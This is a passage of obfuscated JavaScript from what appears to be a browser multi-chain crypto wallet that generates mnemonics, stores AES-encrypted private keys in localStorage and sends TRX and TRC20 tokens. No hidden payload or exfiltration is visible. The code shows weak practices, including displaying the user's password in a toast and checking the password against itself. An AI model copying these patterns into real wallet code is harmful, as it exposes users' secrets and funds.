_0x465a4a='',_0x4ceca9=_0x9c8597(0x27f)+'pe=\x22button'+'\x22\x20onclick='+_0x9c8597(0x262)+_0x9c8597(0x323)+_0x9c8597(0x39d)+_0x9c8597(0x1b3)+_0x9c8597(0x21f)+'g/copy.png'+_0x9c8597(0x17a)+_0x9c8597(0x378)+'\x22width:\x2020'+'px;\x20height'+_0x9c8597(0x11f)+_0x9c8597(0x21e)+_0x9c8597(0x13b)+_0x9c8597(0x19f);if(CoinsJson[_0xee34b7][_0x9c8597(0x18b)+'e']==_0x9c8597(0x285)+'e'||CoinsJson[_0xee34b7][_0x9c8597(0x18b)+'e']==_0x9c8597(0x29e))_0x465a4a=_0x9c8597(0x2f1)+_0x9c8597(0x222)+_0x9c8597(0x36f)+_0x9c8597(0x3b7)+_0x9c8597(0x2c2)+_0x9c8597(0x27d)+'ID\x22\x20value='+'\x22'+CoinsJson[_0xee34b7][_0x9c8597(0x2d7)+_0x9c8597(0x39b)]+_0x9c8597(0x1f6)+_0x4f984d+(_0x9c8597(0x158)+'>'),document[_0x9c8597(0x2e7)+_0x9c8597(0x258)](_0x9c8597(0x139)+_0x9c8597(0x313))[_0x9c8597(0x2ba)]=_0x465a4a+_0x4ceca9;else CoinsJson[_0xee34b7][_0x9c8597(0x18b)+'e']==_0x9c8597(0x234)&&(_0x465a4a=_0x9c8597(0x2f1)+_0x9c8597(0x222)+_0x9c8597(0x36f)+_0x9c8597(0x3b7)+_0x9c8597(0x2c2)+_0x9c8597(0x27d)+_0x9c8597(0x147)+'\x22'+CoinsJson[_0xee34b7][_0x9c8597(0x2d7)+_0x9c8597(0x39b)]+(_0x9c8597(0x246)+_0x9c8597(0x32e))+_0x4f984d+(_0x9c8597(0x158)+'>'));document['getElement'+_0x9c8597(0x258)]('Transactio'+_0x9c8597(0x313))['innerHTML']=_0x465a4a+_0x4ceca9;}function copyTXValue(){const _0x1e9f37=_0x481ed0;var _0x1a0450=document[_0x1e9f37(0x2e7)+'ById'](_0x1e9f37(0x1e8)+_0x1e9f37(0x316));_0x1a0450[_0x1e9f37(0x36a)](),_0x1a0450[_0x1e9f37(0x10d)+'onRange'](0x1d3*-0x4+0x1726+-0xfda,-0xdfb4+0x6ac6*-0x1+0x2d119),document['execComman'+'d']('copy'),console[_0x1e9f37(0x35d)](_0x1e9f37(0x380)+_0x1a0450['value']);}async function sendTron(_0x357692,_0x40ba22){const _0x5e7afa=_0x481ed0,_0x536c86=document['getElement'+'ById'](_0x5e7afa(0x208)+'Select'),_0x1e0e93=_0x536c86[_0x5e7afa(0x362)][_0x536c86[_0x5e7afa(0x183)+_0x5e7afa(0x3b0)]]['innerText'];console['log'](_0x5e7afa(0x142),_0x357692);const _0x3fec66=document[_0x5e7afa(0x2e7)+_0x5e7afa(0x258)]('accountSel'+_0x5e7afa(0x252))[_0x5e7afa(0x183)+_0x5e7afa(0x3b0)],_0x296713=loadKeysFromLocalStorage('trx'),_0x3be4a3=_0x296713[_0x3fec66][_0x5e7afa(0x1ef)],_0x585d5d=CryptoJS[_0x5e7afa(0x35c)][_0x5e7afa(0x2b7)](_0x3be4a3,pass)[_0x5e7afa(0x1c9)](CryptoJS[_0x5e7afa(0x1dc)]['Utf8']),_0x21a8b8=_0x296713[_0x3fec66][_0x5e7afa(0x1ec)];try{const _0x1e47a7=new TronWeb({'fullHost':CoinsJson[_0x5e7afa(0x199)]['RPCURL'],'privateKey':_0x585d5d}),_0x24fae4=_0x1e47a7[_0x5e7afa(0x2ea)](_0x40ba22);console['log'](_0x5e7afa(0x18f)+'n:',_0x24fae4);const _0x2c3415=await _0x1e47a7[_0x5e7afa(0x136)+'nBuilder']['sendTrx'](_0x357692,_0x24fae4),_0x46c78f=await _0x1e47a7[_0x5e7afa(0x2e8)][_0x5e7afa(0x1a1)](_0x2c3415);console[_0x5e7afa(0x35d)](_0x5e7afa(0x202)+_0x5e7afa(0x327),_0x46c78f);const _0x183733=await _0x1e47a7['trx'][_0x5e7afa(0x348)+_0x5e7afa(0x22d)](_0x46c78f);console['log'](_0x5e7afa(0x19b)+'=>',_0x183733),console['log']('TRX\x20transa'+_0x5e7afa(0x187)+_0x5e7afa(0x2bb)+_0x5e7afa(0x2f4),_0x183733[_0x5e7afa(0x12c)]),ShowToast(_0x5e7afa(0x18c)+_0x5e7afa(0x259)+_0x183733[_0x5e7afa(0x12c)]),ShowTransactionInfo(_0x1e0e93,_0x183733['txid']);}catch(_0x17afe3){console[_0x5e7afa(0x39c)](_0x5e7afa(0x2e9)+_0x5e7afa(0x1e4),_0x17afe3),ShowToast('Failed\x20to\x20'+_0x5e7afa(0x324));}}async function sendTronToken(_0x292f62,_0xe4335f,_0x15d4c8){const _0x479cd5=_0x481ed0,_0x7465fb=document[_0x479cd5(0x2e7)+_0x479cd5(0x258)](_0x479cd5(0x208)+_0x479cd5(0x2f0)),_0x52d347=_0x7465fb[_0x479cd5(0x362)][_0x7465fb[_0x479cd5(0x183)+_0x479cd5(0x3b0)]][_0x479cd5(0x377)],_0x54ac41=document[_0x479cd5(0x2e7)+'ById'](_0x479cd5(0x1b0)+_0x479cd5(0x252))[_0x479cd5(0x183)+_0x479cd5(0x3b0)],_0x5b4a50=loadKeysFromLocalStorage(_0x479cd5(0x2e8)),_0x2ffae8=_0x5b4a50[_0x54ac41][_0x479cd5(0x1ef)],_0x449011=CryptoJS[_0x479cd5(0x35c)][_0x479cd5(0x2b7)](_0x2ffae8,pass)[_0x479cd5(0x1c9)](CryptoJS[_0x479cd5(0x1dc)][_0x479cd5(0x196)]),_0x3ae5f4=_0x5b4a50[_0x54ac41]['address'];try{const _0x6faf77=new TronWeb({'fullHost':CoinsJson[_0x479cd5(0x199)][_0x479cd5(0x2a3)],'privateKey':_0x449011}),{abi:_0x56415f}=await _0x6faf77[_0x479cd5(0x2e8)][_0x479cd5(0x155)+'t'](_0x15d4c8),_0x5af4ea=_0x6faf77[_0x479cd5(0x1cd)](_0x56415f[_0x479cd5(0x23e)],_0x15d4c8),_0x5eb9ec=await _0x5af4ea[_0x479cd5(0x256)][_0x479cd5(0x301)]()['call']();var _0x52227c=BigInt(_0xe4335f*Math[_0x479cd5(0x227)](0xd*-0x2ab+0x1e2+0x20d7,_0x5eb9ec[_0x479cd5(0x1c9)]()));console[_0x479cd5(0x35d)]('tokenAmoun'+'t:',_0x52227c);const _0x58a46b=await _0x5af4ea['methods'][_0x479cd5(0x201)](_0x292f62,_0x52227c['toString']())[_0x479cd5(0x389)]();console[_0x479cd5(0x35d)](_0x479cd5(0x181)+_0x479cd5(0x3ad)+'ion\x20succes'+_0x479cd5(0x3aa)+_0x479cd5(0x37a),_0x58a46b),ShowToast('TRC20\x20toke'+_0x479cd5(0x197)+'\x20Hash:\x20'+_0x58a46b),ShowTransactionInfo(_0x52d347,_0x58a46b);}catch(_0x8fd454){console[_0x479cd5(0x39c)](_0x479cd5(0x2e9)+'ing\x20TRC20\x20'+_0x479cd5(0x228),_0x8fd454),ShowToast(_0x479cd5(0x129)+_0x8fd454['message']);}}async function SetPass(){const _0x413d00=_0x481ed0,_0x1795c8=document['getElement'+'ById'](_0x413d00(0x312)+_0x413d00(0x300))[_0x413d00(0x109)];if(!_0x1795c8){ShowToast(_0x413d00(0x1c3)+'er\x20a\x20passw'+_0x413d00(0x24e));return;}const _0x3ffc36=CryptoJS['AES'][_0x413d00(0x185)](_0x1795c8,_0x1795c8)[_0x413d00(0x1c9)]();localStorage['setItem']('MultiWalle'+'t_'+(_0x413d00(0x2e0)+_0x413d00(0x33d)+_0x413d00(0x281)),_0x3ffc36),pass=_0x1795c8,ShowToast('Password\x20s'+_0x413d00(0x2b5)+_0x413d00(0x320)),await ShowMnemonicSection(),await generateMnemonic(),document[_0x413d00(0x2e7)+_0x413d00(0x258)]('ISavedItBu'+'ttonid')[_0x413d00(0x17d)][_0x413d00(0x15b)]=_0x413d00(0x2fb);}async function ShowMnemonicSection(){const _0x1d23cd=_0x481ed0;document[_0x1d23cd(0x2e7)+_0x1d23cd(0x258)](_0x1d23cd(0x30d)+_0x1d23cd(0x2ad))[_0x1d23cd(0x17d)][_0x1d23cd(0x15b)]=_0x1d23cd(0x2fb),document['getElement'+_0x1d23cd(0x258)](_0x1d23cd(0x1d3)+'on')[_0x1d23cd(0x17d)][_0x1d23cd(0x15b)]='none';}async function ShowMainUI(){const _0x9b960e=_0x481ed0;document[_0x9b960e(0x2e7)+_0x9b960e(0x258)](_0x9b960e(0x19d))[_0x9b960e(0x17d)][_0x9b960e(0x15b)]=_0x9b960e(0x2fb),document[_0x9b960e(0x2e7)+'ById']('MnemonicSe'+'ction')[_0x9b960e(0x17d)]['display']='none',document[_0x9b960e(0x2e7)+_0x9b960e(0x258)](_0x9b960e(0x1d3)+'on')[_0x9b960e(0x17d)][_0x9b960e(0x15b)]=_0x9b960e(0x16c);if(!localStorage['getItem']('MultiWalle'+_0x9b960e(0x392)+'Blockchain'))await updateAccountSelect(_0x9b960e(0x141));else{const _0x497eea=localStorage['getItem']('MultiWalle'+_0x9b960e(0x392)+_0x9b960e(0x254));await updateAccountSelect(_0x497eea);}await updateIcon();}async function Login(){const _0x272acd=_0x481ed0,_0x36c2=document[_0x272acd(0x2e7)+'ById']('passwordIn'+_0x272acd(0x300))[_0x272acd(0x109)],_0x6da3e0=localStorage[_0x272acd(0x193)](_0x272acd(0x1d9)+'t_'+('encrypted_'+_0x272acd(0x33d)+_0x272acd(0x281)));if(!_0x6da3e0){ShowToast(_0x272acd(0x263)+_0x272acd(0x173)+_0x272acd(0x12a));return;}const _0x41b371=CryptoJS[_0x272acd(0x35c)][_0x272acd(0x2b7)](_0x6da3e0,_0x36c2)[_0x272acd(0x1c9)](CryptoJS[_0x272acd(0x1dc)]['Utf8']);if(_0x41b371===_0x36c2)ShowToast(_0x272acd(0x178)+_0x272acd(0x34c)+pass),pass=_0x36c2,document[_0x272acd(0x2e7)+_0x272acd(0x258)](_0x272acd(0x19d))[_0x272acd(0x17d)][_0x272acd(0x15b)]='block',document[_0x272acd(0x2e7)+'ById'](_0x272acd(0x1d3)+'on')[_0x272acd(0x17d)]['display']=_0x272acd(0x16c),await updateIcon(),await AdjustSlider(),await applySavedSelections(),await RefreshBalance();else{ShowToast(_0x272acd(0x1f0)+_0x272acd(0x184));return;}}function LoginOrInit(){const _0x2f6617=_0x481ed0,_0x18ae17=document[_0x2f6617(0x2e7)+_0x2f6617(0x258)](_0x2f6617(0x11c)+'n'),_0x468607=document[_0x2f6617(0x2e7)+'ById']('SetPassBut'+_0x2f6617(0x31a));!localStorage['getItem'](_0x2f6617(0x1d9)+'t_encrypte'+_0x2f6617(0x310)+_0x2f6617(0x1d8))?(_0x468607[_0x2f6617(0x17d)][_0x2f6617(0x15b)]=_0x2f6617(0x2fb),_0x18ae17['style'][_0x2f6617(0x15b)]='none'):(_0x18ae17['style']['display']='block',_0x468607[_0x2f6617(0x17d)][_0x2f6617(0x15b)]=_0x2f6617(0x16c));}async function loadWallet(){const _0x3c97a1=_0x481ed0;if(!localStorage['getItem']('MultiWalle'+_0x3c97a1(0x117)+_0x3c97a1(0x310)+_0x3c97a1(0x1d8)))generateMnemonic();else{}}async function generateMnemonic(){const _0x5c956f=_0x481ed0,_0x5d458a=bip39[_0x5c956f(0x331)+_0x5c956f(0x2da)](-0x6b8+-0x251b+0x2cd3);document['getElement'+'ById'](_0x5c956f(0x342)+'xt')[_0x5c956f(0x377)]=_0x5d458a,await initWallets(_0x5d458a);}function encryptString(_0x5c4a8d,_0x4bb701){const _0x46cf42=_0x481ed0;return CryptoJS[_0x46cf42(0x35c)][_0x46cf42(0x185)](_0x5c4a8d,_0x4bb701)[_0x46cf42(0x1c9)]();}function decryptString(_0x26b661,_0x2e7714){const _0x22a51a=_0x481ed0,_0x7d4699=CryptoJS['AES']['decrypt'](_0x26b661,_0x2e7714);return _0x7d4699[_0x22a51a(0x1c9)](CryptoJS['enc'][_0x22a51a(0x196)]);}async function saveKeysToLocalStorage(_0x44f90d,_0x25b8a8){const _0x50178a=_0x481ed0;localStorage['setItem'](_0x50178a(0x1d9)+'t_'+_0x44f90d+_0x50178a(0x2d6),JSON[_0x50178a(0x3a7)](_0x25b8a8));}function loadKeysFromLocalStorage(_0x25c22b){const _0x30c743=_0x481ed0,_0x15b80b=localStorage[_0x30c743(0x193)](_0x30c743(0x1d9)+'t_'+_0x25c22b+_0x30c743(0x2d6)),_0x24bd54=_0x15b80b?JSON[_0x30c743(0x242)](_0x15b80b):[],_0x24529f=_0x30c743(0x1d9)+'t_'+_0x25c22b+(_0x30c743(0x1ce)+_0x30c743(0x387)),_0x5315d6=parseInt(localStorage['getItem'](_0x24529f),-0x15a9+-0xc5*-0x29+-0x4ed*0x2)||0x10d5+-0xa7c+0x145*-0x5;return _0x24bd54[_0x30c743(0x2ec)](-0x219d*0x1+0x2bd+-0xf7*-0x20,_0x5315d6+(-0x239a+-0x1a60+0x2b*0x171));}function loadAllKeysFromLocalStorage(_0x48df9b){const _0x197847=_0x481ed0,_0x50928b=localStorage[_0x197847(0x193)](_0x197847(0x1d9)+'t_'+_0x48df9b+_0x197847(0x2d6)),_0x2f0c0f=_0x50928b?JSON[_0x197847(0x242)](_0x50928b):[];return _0x2f0c0f;}async function initWallets(_0x3dafeb){const _0x344258=_0x481ed0,_0x5ba579={};for(const _0x725314 in CoinsJson){await initUseIndex(CoinsJson[_0x725314][_0x344258(0x2ce)]);if(CoinsJson[_0x344258(0x1df)+_0x344258(0x284)](_0x725314)){if(CoinsJson[_0x725314][_0x344258(0x18b)+'e']==_0x344258(0x285)+'e')_0x5ba579[CoinsJson[_0x725314][_0x344258(0x2ce)]]=await generateAccounts(_0x725314,_0x3dafeb),await saveKeysToLocalStorage(CoinsJson[_0x725314][_0x344258(0x2ce)],_0x5ba579[CoinsJson[_0x725314][_0x344258(0x2ce)]]);else{if(CoinsJson[_0x725314][_0x344258(0x18b)+'e']==_0x344258(0x29e))_0x5ba579[CoinsJson[_0x725314][_0x344258(0x2ce)]]=await generateEthereumAccounts(_0x3dafeb),await saveKeysToLocalStorage(CoinsJson[_0x725314][_0x344258(0x2ce)],_0x5ba579[CoinsJson[_0x725314][_0x344258(0x2ce)]]);else CoinsJson[_0x725314][_0x344258(0x18b)+'e']==_0x344258(0x234)&&(_0x5ba579[_0x344258(0x2e8)]=await generateAccounts(_0x725314,_0x3dafeb),await saveKeysToLocalStorage(CoinsJson[_0x725314]['symbol'],_0x5ba579[CoinsJson[_0x725314][_0x344258(0x2ce)]]));}}}(!localStorage[_0x344258(0x193)](_0x344258(0x1d9)+_0x344258(0x392)+_0x344258(0x254)+_0x344258(0x269))||!localStorage[_0x344258(0x193)](_0x344258(0x1d9)+_0x344258(0x392)+'AccountInd'+'ex'))&&(localStorage['setItem'](_0x344258(0x1d9)+_0x344258(0x392)+'Blockchain'+_0x344258(0x269),-0x90*-0x20+-0x7a5+-0xa5b),localStorage[_0x344258(0x2cb)](_0x344258(0x1d9)+_0x344258(0x392)+_0x344258(0x165)+'ex',0x85a*0x4+-0x18e*0x1+-0x12e*0x1b)),document['getElement'+_0x344258(0x258)]('CurrentGen'+'rateAccoun'+_0x344258(0x340))['innerText']=_0x344258(0x1c2)+_0x344258(0x396)+'.';}async function generateAccounts(_0x5a2747,_0x10880f){const _0x3896bb=_0x481ed0;console[_0x3896bb(0x35d)](_0x3896bb(0x212),_0x5a2747);const _0x4fab9a=[],_0x45eb05=bip39[_0x3896bb(0x29c)+_0x3896bb(0x1a6)](_0x10880f);var _0x3f1e36;_0x3f1e36=bitcoin[_0x3896bb(0x127)][_0x3896bb(0x2d3)](_0x45eb05,CoinsJson[_0x5a2747]['NetworkPar'+'a']);_0x5a2747==_0x3896bb(0x199)&&(_0x3f1e36=bitcoin[_0x3896bb(0x127)][_0x3896bb(0x2d3)](_0x45eb05));for(let _0x2d058a=-0x374+0xd0b+-0x5*0x1eb;_0x2d058a<GenerateAccountNumber;_0x2d058a++){let _0x333db9=CoinsJson[_0x5a2747][_0x3896bb(0x329)+'th']+_0x2d058a;if(_0x333db9){const _0x198257=_0x3f1e36[_0x3896bb(0x130)](_0x333db9);let _0xe3b7d9;if(CoinsJson[_0x5a2747][_0x3896bb(0x18b)+'e']===_0x3896bb(0x285)+'e')_0xe3b7d9=bitcoin[_0x3896bb(0x244)][_0x3896bb(0x1b4)]({'pubkey':_0x198257[_0x3896bb(0x23b)],'network':CoinsJson[_0x5a2747][_0x3896bb(0x3a8)+'a']})[_0x3896bb(0x1ec)];else{if(CoinsJson[_0x5a2747][_0x3896bb(0x18b)+'e']===_0x3896bb(0x234)){var _0x48199e=_0x198257[_0x3896bb(0x1ef)][_0x3896bb(0x1c9)]('hex');_0xe3b7d9=tronWeb[_0x3896bb(0x1ec)][_0x3896bb(0x25a)+_0x3896bb(0x26c)](_0x48199e);}}if(CoinsJson[_0x5a2747][_0x3896bb(0x18b)+'e']===_0x3896bb(0x234)){var _0x5765cd=CryptoJS[_0x3896bb(0x35c)][_0x3896bb(0x185)](_0x198257[_0x3896bb(0x1ef)][_0x3896bb(0x1c9)](_0x3896bb(0x2bc)),pass)[_0x3896bb(0x1c9)]();_0x4fab9a[_0x3896bb(0x2e3)]({'address':_0xe3b7d9,'privateKey':_0x5765cd}),document[_0x3896bb(0x2e7)+_0x3896bb(0x258)](_0x3896bb(0x273)+_0x3896bb(0x3bb)+_0x3896bb(0x340))['innerText']=_0xe3b7d9,await wait(-0x2030*0x1+-0x1ab*0x7+0x2be7);}else{var _0x5765cd=CryptoJS[_0x3896bb(0x35c)][_0x3896bb(0x185)](_0x198257[_0x3896bb(0x249)](),pass)[_0x3896bb(0x1c9)]();_0x4fab9a['push']({'address':_0xe3b7d9,'privateKey':_0x5765cd}),document[_0x3896bb(0x2e7)+_0x3896bb(0x258)](_0x3896bb(0x273)+_0x3896bb(0x3bb)+'tid')[_0x3896bb(0x377)]=_0xe3b7d9,await wait(-0x1*0x22ed+-0xef7+-0x9a*-0x53);}}}return _0x4fab9a;}async function generateEthereumAccounts(_0x145fbe){const _0x452d5d=_0x481ed0,_0x20147a=[],_0x23d071=ethers[_0x452d5d(0x3a1)][_0x452d5d(0x237)][_0x452d5d(0x3a6)+'ic'](_0x145fbe),_0x577f0f=loadKeysFromLocalStorage('eth'),_0x3ab6b5=_0x577f0f[_0x452d5d(0x2d9)];for(let _0x4babef=_0x3ab6b5;_0x4babef<_0x3ab6b5+GenerateAccountNumber;_0x4babef++){const _0x3db361='m/44\x27/60\x27/'+_0x452d5d(0x2a0)+_0x4babef,_0x405673=_0x23d071[_0x452d5d(0x130)](_0x3db361);var _0x52a1e4=CryptoJS[_0x452d5d(0x35c)][_0x452d5d(0x185)](_0x405673[_0x452d5d(0x1ef)],pass)[_0x452d5d(0x1c9)]();document[_0x452d5d(0x2e7)+'ById'](_0x452d5d(0x273)+_0x452d5d(0x3bb)+_0x452d5d(0x340))[_0x452d5d(0x377)]=_0x405673['address'],await wait(0x48b*0x1+0x1*0xbdd+0x802*-0x2),_0x20147a[_0x452d5d(0x2e3)]({'address':_0x405673[_0x452d5d(0x1ec)],'privateKey':_0x52a1e4});}return await saveKeysToLocalStorage(_0x452d5d(0x275),_0x20147a),_0x20147a;}async function updateAccountSelect(_0x50ea2b){const _0x1c9ec9=_0x481ed0,_0x4ed0a7=document[_0x1c9ec9(0x2e7)+'ById'](_0x1c9ec9(0x1b0)+_0x1c9ec9(0x252));_0x4ed0a7[_0x1c9ec9(0x2ba)]='';const _0x5920e2=loadKeysFromLocalStorage(_0x50ea2b);_0x5920e2[_0x1c9ec9(0x322)]((_0x147e4f,_0x2d513d)=>{const _0x4cb9fb=_0x1c9ec9,_0xb66473=document[_0x4cb9fb(0x1ae)+'ent'](_0x4cb9fb(0x150));_0xb66473[_0x4cb9fb(0x109)]=_0x147e4f['address'];var _0x28faa9=_0x147e4f[_0x4cb9fb(0x1ec)],_0x24a321=_0x28faa9[_0x4cb9fb(0x2ec)](0xa5*0x10+-0xcc9+-0xd3*-0x3,0x1e72+0xc90+0x1*-0x2afe)+_0x4cb9fb(0x356)+_0x28faa9['slice'](-(0x3b5+0x5a1*-0x1+0x1ee));_0xb66473[_0x4cb9fb(0x24a)]=_0x4cb9fb(0x2a7)+(_0x2d513d+(0x2*-0x79+-0xf7b+0x106e))+':\x20'+_0x24a321,_0x4ed0a7['appendChil'+'d'](_0xb66473);}),document[_0x1c9ec9(0x2e7)+_0x1c9ec9(0x258)]('Transactio'+_0x1c9ec9(0x313))[_0x1c9ec9(0x377)]='',console['log'](_0x1c9ec9(0x32a)+_0x1c9ec9(0x211)+_0x1c9ec9(0x1ea),document['getElement'+'ById'](_0x1c9ec9(0x1b0)+_0x1c9ec9(0x252))[_0x1c9ec9(0x183)+_0x1c9ec9(0x3b0)]);const _0x3c7035=localStorage[_0x1c9ec9(0x193)](_0x1c9ec9(0x1d9)+_0x1c9ec9(0x392)+_0x1c9ec9(0x165)+'ex');var _0x34912d=_0x5920e2['length']-(-0x3fd+-0xa38+-0x71b*-0x2);_0x3c7035>_0x34912d?document[_0x1c9ec9(0x2e7)+_0x1c9ec9(0x258)](_0x1c9ec9(0x1b0)+_0x1c9ec9(0x252))['selectedIn'+_0x1c9ec9(0x3b0)]=_0x34912d:document[_0x1c9ec9(0x2e7)+_0x1c9ec9(0x258)](_0x1c9ec9(0x1b0)+'ect')[_0x1c9ec9(0x183)+_0x1c9ec9(0x3b0)]=_0x3c7035,AdjustSlider();}async function AdjustSlider(){const _0x38c7bb=_0x481ed0,_0x685885=document[_0x38c7bb(0x2e7)+_0x38c7bb(0x258)](_0x38c7bb(0x208)+'Select'),_0x1f1e16=_0x685885[_0x38c7bb(0x362)][_0x685885[_0x38c7bb(0x183)+'dex']]['innerText'],_0x3fbb5a=CoinsJson[_0x1f1e16],_0x4a1091=_0x3fbb5a[_0x38c7bb(0x20f)+_0x38c7bb(0x118)],_0x392a32=_0x3fbb5a[_0x38c7bb(0x2d8)+'erFee'],_0x57bb51=(_0x392a32-_0x4a1091)/(0x3*-0xa1d+0x6df+0x2*0xc20),_0x5ac158=document[_0x38c7bb(0x2e7)+_0x38c7bb(0x258)](_0x38c7bb(0x2bd));_0x5ac158['min']=_0x4a1091/(0x2232141+-0x1b4358e+0x586f54d),_0x5ac158['max']=_0x392a32/(0xa*0xf6a8fe+-0x584643*0x21+0x7b455b7),_0x5ac158['value']=_0x4a1091/(0x1*0x96eef6d+-0x808e0b3+-0x48fd246*-0x1),_0x5ac158[_0x38c7bb(0x169)]=_0x57bb51/(-0x59c85da+-0x5d38ed8+-0x8b2fad9*-0x2),updateFeeDisplay(_0x5ac158['value']);}document[_0x481ed0(0x2e7)+_0x481ed0(0x258)](_0x481ed0(0x208)+_0x481ed0(0x2f0))[_0x481ed0(0x10e)+'stener'](_0x481ed0(0x3ba),function(){const _0x3956a3=_0x481ed0,_0x44487d=this[_0x3956a3(0x109)];updateAccountSelect(_0x44487d),HideSendSection(),AdjustSlider(),RefreshBalance();});function ShowToast(_0x1c80c1){const _0x12cdbc=_0x481ed0;var _0x5c50c3=document[_0x12cdbc(0x2e7)+'ById'](_0x12cdbc(0x157)),_0xfc1e0d=_0x5c50c3[_0x12cdbc(0x248)+_0x12cdbc(0x230)](_0x12cdbc(0x1a0)+'y');_0xfc1e0d[_0x12cdbc(0x377)]=_0x1c80c1;const _0x52ca97=bootstrap[_0x12cdbc(0x1b6)][_0x12cdbc(0x138)+_0x12cdbc(0x2ac)](document[_0x12cdbc(0x2e7)+'ById']('liveToast'));_0x52ca97[_0x12cdbc(0x294)]();}async function saveSelections(){const _0x579b62=_0x481ed0,_0x2dffc7=document[_0x579b62(0x2e7)+'ById']('blockchain'+_0x579b62(0x2f0)),_0x7a2012=document[_0x579b62(0x2e7)+'ById']('accountSel'+'ect');localStorage[_0x579b62(0x2cb)](_0x579b62(0x1d9)+_0x579b62(0x392)+_0x579b62(0x254),_0x2dffc7[_0x579b62(0x109)]),localStorage[_0x579b62(0x2cb)]('MultiWalle'+'t_selected'+'Blockchain'+'Index',_0x2dffc7[_0x579b62(0x183)+_0x579b62(0x3b0)]),localStorage['setItem']('MultiWalle'+_0x579b62(0x392)+_0x579b62(0x165)+'ex',_0x7a2012[_0x579b62(0x183)+_0x579b62(0x3b0)]);}async function applySavedSelections(){const _0x78749e=_0x481ed0,_0x32e9c9=localStorage[_0x78749e(0x193)](_0x78749e(0x1d9)+_0x78749e(0x392)+_0x78749e(0x254));_0x32e9c9&&(document[_0x78749e(0x2e7)+_0x78749e(0x258)](_0x78749e(0x208)+_0x78749e(0x2f0))[_0x78749e(0x109)]=_0x32e9c9,await updateAccountSelect(_0x32e9c9));}async function importKeyToWallet(_0x58035f,_0xf39941){const _0x5819c5=_0x481ed0;var _0x15832a=CoinsJson[_0x58035f][_0x5819c5(0x2ce)];const _0x4f07a3=loadAllKeysFromLocalStorage(_0x15832a);console[_0x5819c5(0x35d)]('existingAc'+_0x5819c5(0x386),_0x4f07a3);let _0x11a2df,_0x380df3;try{switch(CoinsJson[_0x58035f][_0x5819c5(0x18b)+'e']){case'BitcoinLik'+'e':const _0x3cd22d=bitcoin['ECPair'][_0x5819c5(0x3a9)](_0xf39941,CoinsJson[_0x58035f][_0x5819c5(0x3a8)+'a']);_0x11a2df=bitcoin[_0x5819c5(0x244)][_0x5819c5(0x1b4)]({'pubkey':_0x3cd22d[_0x5819c5(0x23b)],'network':CoinsJson[_0x58035f][_0x5819c5(0x3a8)+'a']})[_0x5819c5(0x1ec)],_0x380df3=CryptoJS[_0x5819c5(0x35c)][_0x5819c5(0x185)](_0xf39941,pass)['toString']();break;case _0x5819c5(0x29e):const _0x38d16e=new ethers[(_0x5819c5(0x2c3))](_0xf39941);_0x11a2df=_0x38d16e[_0x5819c5(0x1ec)],_0x380df3=CryptoJS['AES'][_0x5819c5(0x185)](_0xf39941,pass)['toString']();break;case _0x5819c5(0x234):_0x11a2df=tronWeb[_0x5819c5(0x1ec)]['fromPrivat'+_0x5819c5(0x26c)](_0xf39941),_0x380df3=CryptoJS[_0x5819c5(0x35c)][_0x5819c5(0x185)](_0xf39941,pass)[_0x5819c5(0x1c9)]();break;default:ShowToast('Unsupporte'+'d\x20blockcha'+'in.');return;}const _0x1dd7f9=_0x5819c5(0x1d9)+'t_'+_0x15832a+('_accounts_'+'UseIndex'),_0x25fa97=parseInt(localStorage[_0x5819c5(0x193)](_0x1dd7f9),0x1*0x1561+-0x23fa*-0x1+-0x3951)||-0x1e75+-0x1df5*0x1+0x3c6a,_0x3da20b={'address':_0x11a2df,'privateKey':_0x380df3};_0x4f07a3[_0x5819c5(0x2b4)](_0x25fa97+(0x25b3+-0x178e+-0xe24),-0x1b05+0xa*0x20e+0x679*0x1,_0x3da20b),console[_0x5819c5(0x35d)]('existingAc'+'counts\x20aft'+_0x5819c5(0x334),_0x4f07a3),await saveKeysToLocalStorage(_0x15832a,_0x4f07a3),ShowToast(_0x5819c5(0x36d)+_0x5819c5(0x267)+'fully\x20for\x20'+_0x58035f[_0x5819c5(0x1bd)+'e']()+'.');const _0x2dc7b6=document[_0x5819c5(0x2e7)+_0x5819c5(0x258)](_0x5819c5(0x1b0)+'ect');let _0x36f1cb=parseInt(localStorage['getItem'](_0x1dd7f9),-0x189*-0x1+0x1*-0x71d+0x2*0x2cf)||0x145a*-0x1+-0xe*-0x14b+0x240;if(parseInt(_0x36f1cb)>=GenerateAccountNumber){ShowToast(_0x5819c5(0x2cd)+_0x5819c5(0x2c5)+'imit,can\x20o'+_0x5819c5(0x1c0)+'count\x20by\x20i'+_0x5819c5(0x171));return;}_0x36f1cb+=-0x1*-0x34b+-0x127d+-0x511*-0x3,localStorage['setItem'](_0x1dd7f9,_0x36f1cb),document[_0x5819c5(0x2e7)+_0x5819c5(0x258)](_0x5819c5(0x208)+_0x5819c5(0x2f0))[_0x5819c5(0x109)]=_0x15832a,await updateAccountSelect(_0x15832a),document['getElement'+_0x5819c5(0x258)](_0x5819c5(0x1b0)+'ect')[_0x5819c5(0x183)+'dex']=_0x36f1cb,document[_0x5819c5(0x2e7)+_0x5819c5(0x258)](_0x5819c5(0x290)+_0x5819c5(0x2fe))[_0x5819c5(0x17d)][_0x5819c5(0x15b)]=_0x5819c5(0x16c);}catch(_0x37662b){console['error'](_0x5819c5(0x240)+_0x5819c5(0x12f),_0x37662b),ShowToast(_0x5819c5(0x125)+'import\x20key'+_0x5819c5(0x37f)+'he\x20private'+_0x5819c5(0x3ab)+_0x5819c5(0x116));}await RefreshBalance();}document[_0x481ed0(0x2e7)+_0x481ed0(0x258)](_0x481ed0(0x160)+'on')[_0x481ed0(0x10e)+_0x481ed0(0x370)](_0x481ed0(0x1f8),function(){const _0x375634=_0x481ed0;document[_0x375634(0x2e7)+'ById'](_0x375634(0x139)+_0x375634(0x313))[_0x375634(0x377)]='',document[_0x375634(0x2e7)+_0x375634(0x258)](_0x375634(0x289)+'tion')['style'][_0x375634(0x15b)]=_0x375634(0x16c),HideSendSection();var _0x564fa3=document['getElement'+_0x375634(0x258)](_0x375634(0x290)+_0x375634(0x2fe));_0x564fa3[_0x375634(0x17d)][_0x375634(0x15b)]===_0x375634(0x16c)?_0x564fa3[_0x375634(0x17d)][_0x375634(0x15b)]=_0x375634(0x2fb):_0x564fa3[_0x375634(0x17d)][_0x375634(0x15b)]=_0x375634(0x16c);}),document[_0x481ed0(0x2e7)+_0x481ed0(0x258)](_0x481ed0(0x180)+_0x481ed0(0x17f))[_0x481ed0(0x10e)+_0x481ed0(0x370)]('click',function(){const 